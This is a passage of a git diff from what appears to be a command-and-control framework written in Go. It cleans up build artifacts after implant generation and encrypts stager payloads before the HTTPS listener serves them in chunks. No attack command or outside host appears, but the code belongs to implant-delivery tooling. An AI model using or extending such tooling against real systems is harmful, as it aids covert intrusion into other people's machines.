nil { os.Chdir(serverState.CWD) + os.Remove(asmObj) return nil, "", fmt.Errorf("create build directory error: %v", err) } _, err = meta.ExecCommand( @@ -177,8 +179,11 @@ func (i *Implant) Generate(serverState *state.ServerState) (data []byte, outFile ) if err != nil { os.Chdir(serverState.CWD) + os.Remove(asmObj) return nil, "", fmt.Errorf("cmake error: %v", err) } + + os.Remove(asmObj) } data, err = os.ReadFile(outFile) diff --git a/pkg/server/service/https.go b/pkg/server/service/https.go index f128bf8..55146d1 100644 --- a/pkg/server/service/https.go +++ b/pkg/server/service/https.go @@ -585,8 +585,6 @@ func handleStagerDownload(lis *listener.Listener) gin.HandlerFunc { } } if targetPayloadPath == "" { - // TODO: If there are not target payloads, set default paylaod. - // ... w.WriteHeader(http.StatusBadRequest) w.(http.Flusher).Flush() return @@ -599,10 +597,12 @@ func handleStagerDownload(lis *listener.Listener) gin.HandlerFunc { w.(http.Flusher).Flush() return } + // Encrypt the data + dataEnc := crypt.EncryptData(data) // Send chunked data w.WriteHeader(http.StatusOK) - chunkedData := utils.ChunkData(data) + chunkedData := utils.ChunkData(dataEnc) for _, c := range chunkedData { w.Write(c) w.(http.Flusher).Flush()